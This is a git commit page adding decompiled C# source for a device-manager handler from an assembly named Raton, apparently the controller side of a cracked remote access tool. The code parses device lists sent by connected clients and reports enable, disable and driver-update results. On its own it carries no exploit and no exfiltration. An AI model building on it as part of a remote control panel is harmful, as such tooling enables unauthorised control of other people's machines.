initial commit
This commit is contained in:
@@ -0,0 +1,143 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Server.Handlers.HandleDeviceManager
|
||||
// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7
|
||||
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe
|
||||
|
||||
using DarkModeForms;
|
||||
using Raton.Forms.ClientForms.Monitor;
|
||||
using Server.Connection;
|
||||
using Stuff;
|
||||
using System;
|
||||
using System.Drawing;
|
||||
using System.Windows.Forms;
|
||||
|
||||
#nullable disable
|
||||
namespace Server.Handlers;
|
||||
|
||||
internal class HandleDeviceManager
|
||||
{
|
||||
public HandleDeviceManager(SillyClient client, Unpack msgUnpack)
|
||||
{
|
||||
if (!(Application.OpenForms["Device manager | Client ID: " + msgUnpack.GetAsString("UID")] is ratonDevice openForm))
|
||||
return;
|
||||
switch (msgUnpack.GetAsString("Type"))
|
||||
{
|
||||
case "Devices":
|
||||
this.LoadDevicesSafe(openForm, msgUnpack.GetAsString("Data"));
|
||||
break;
|
||||
case "Status":
|
||||
this.HandleStatusSafe(openForm, msgUnpack.GetAsString("DeviceId"), msgUnpack.GetAsString("Action"), msgUnpack.GetAsString("Success"), msgUnpack.GetAsString("Message"));
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
private void LoadDevices(ratonDevice form, string data)
|
||||
{
|
||||
foreach (TreeNode node in form.treeView1.Nodes)
|
||||
node.Nodes.Clear();
|
||||
if (string.IsNullOrEmpty(data))
|
||||
return;
|
||||
string[] strArray1 = data.Split('|');
|
||||
for (int index = 0; index + 1 < strArray1.Length; index += 2)
|
||||
{
|
||||
string category = strArray1[index];
|
||||
string[] strArray2 = strArray1[index + 1].Split('~');
|
||||
TreeNode categoryNode = this.FindCategoryNode(form.treeView1, category);
|
||||
if (categoryNode != null)
|
||||
{
|
||||
foreach (string str1 in strArray2)
|
||||
{
|
||||
if (!string.IsNullOrEmpty(str1))
|
||||
{
|
||||
string[] strArray3 = str1.Split('^');
|
||||
if (strArray3.Length >= 2)
|
||||
{
|
||||
string str2 = strArray3[0];
|
||||
string text = strArray3[1];
|
||||
string str3 = strArray3.Length > 2 ? strArray3[2] : "";
|
||||
string str4 = strArray3.Length > 3 ? strArray3[3] : "";
|
||||
TreeNode node = new TreeNode(text);
|
||||
node.Tag = (object) str1;
|
||||
node.ToolTipText = $"Status: {str3}\nDriver: {str4}\nID: {str2}";
|
||||
if (str3.Equals("Error", StringComparison.OrdinalIgnoreCase) || str3.Equals("Degraded", StringComparison.OrdinalIgnoreCase))
|
||||
node.ForeColor = Color.Red;
|
||||
else if (str3.Equals("Unknown", StringComparison.OrdinalIgnoreCase))
|
||||
node.ForeColor = Color.Gray;
|
||||
categoryNode.Nodes.Add(node);
|
||||
}
|
||||
}
|
||||
}
|
||||
categoryNode.Text = $"{category} ({categoryNode.Nodes.Count.ToString()})";
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private TreeNode FindCategoryNode(TreeView tree, string category)
|
||||
{
|
||||
foreach (TreeNode node in tree.Nodes)
|
||||
{
|
||||
if (node.Name == category)
|
||||
return node;
|
||||
}
|
||||
return (TreeNode) null;
|
||||
}
|
||||
|
||||
private void HandleStatus(
|
||||
ratonDevice form,
|
||||
string deviceId,
|
||||
string action,
|
||||
string successStr,
|
||||
string message)
|
||||
{
|
||||
bool flag = !string.IsNullOrEmpty(successStr) && successStr.Equals("True", StringComparison.OrdinalIgnoreCase);
|
||||
if (string.IsNullOrWhiteSpace(message) || message == "null")
|
||||
message = "Unknown error";
|
||||
string str;
|
||||
switch (action)
|
||||
{
|
||||
case "Enable":
|
||||
str = "enabling";
|
||||
break;
|
||||
case "Disable":
|
||||
str = "disabling";
|
||||
break;
|
||||
case "UpdateDriver":
|
||||
str = "updating";
|
||||
break;
|
||||
default:
|
||||
str = action;
|
||||
break;
|
||||
}
|
||||
if (flag)
|
||||
{
|
||||
int num = (int) Messenger.MessageBox($"Device {str} successful", "Device Manager", MessageBoxButtons.OK, MessageBoxIcon.Asterisk, true);
|
||||
form.RequestRefresh();
|
||||
}
|
||||
else
|
||||
{
|
||||
int num1 = (int) Messenger.MessageBox($"Error {str} the device:\n{message}", "Device Manager", icon: MessageBoxIcon.Hand);
|
||||
}
|
||||
}
|
||||
|
||||
private void LoadDevicesSafe(ratonDevice form, string data)
|
||||
{
|
||||
if (form.InvokeRequired)
|
||||
form.Invoke((Delegate) (() => this.LoadDevices(form, data)));
|
||||
else
|
||||
this.LoadDevices(form, data);
|
||||
}
|
||||
|
||||
private void HandleStatusSafe(
|
||||
ratonDevice form,
|
||||
string deviceId,
|
||||
string action,
|
||||
string success,
|
||||
string message)
|
||||
{
|
||||
if (form.InvokeRequired)
|
||||
form.Invoke((Delegate) (() => this.HandleStatus(form, deviceId, action, success, message)));
|
||||
else
|
||||
this.HandleStatus(form, deviceId, action, success, message);
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user